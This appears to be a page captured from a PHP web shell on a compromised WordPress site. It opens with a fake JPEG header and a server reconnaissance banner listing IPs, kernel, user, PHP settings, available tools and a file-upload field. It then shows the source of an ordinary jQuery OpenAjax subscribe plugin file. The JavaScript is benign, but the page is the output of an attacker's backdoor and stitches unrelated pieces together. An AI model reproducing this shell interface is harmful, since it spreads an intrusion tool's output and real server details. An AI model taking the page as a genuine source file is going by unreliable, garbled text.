????JFIF??x?x????'
Server IP : 104.21.80.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/motopress-content-editor/jquery/controller/subscribe/ |
Upload File : |
/*global OpenAjax: true */ steal('jquery/controller', 'jquery/lang/openajax').then(function() { /** * @function jQuery.Controller.static.processors.subscribe * @parent jQuery.Controller.static.processors * @plugin jquery/controller/subscribe * Adds OpenAjax.Hub subscribing to controllers. * * $.Controller("Subscriber",{ * "recipe.updated subscribe" : function(called, recipe){ * * }, * "todo.* subscribe" : function(called, todo){ * * } * }) * * You should typically be listening to jQuery triggered events when communicating between * controllers. Subscribe should be used for listening to model changes. * * ### API * * This is the call signiture for the processor, not the controller subscription callbacks. * * @param {HTMLElement} el the element being bound. This isn't used. * @param {String} event the event type (subscribe). * @param {String} selector the subscription name * @param {String} cb the callback function's name */ jQuery.Controller.processors.subscribe = function( el, event, selector, cb, controller ) { var subscription = OpenAjax.hub.subscribe(selector, function(){ return controller[cb].apply(controller, arguments) }); return function() { OpenAjax.hub.unsubscribe(subscription); }; }; /** * @add jQuery.Controller.prototype */ //breaker /** * @function publish * @hide * Publishes a message to OpenAjax.hub. * @param {String} message Message name, ex: "Something.Happened". * @param {Object} data The data sent. */ jQuery.Controller.prototype.publish = function() { OpenAjax.hub.publish.apply(OpenAjax.hub, arguments); }; });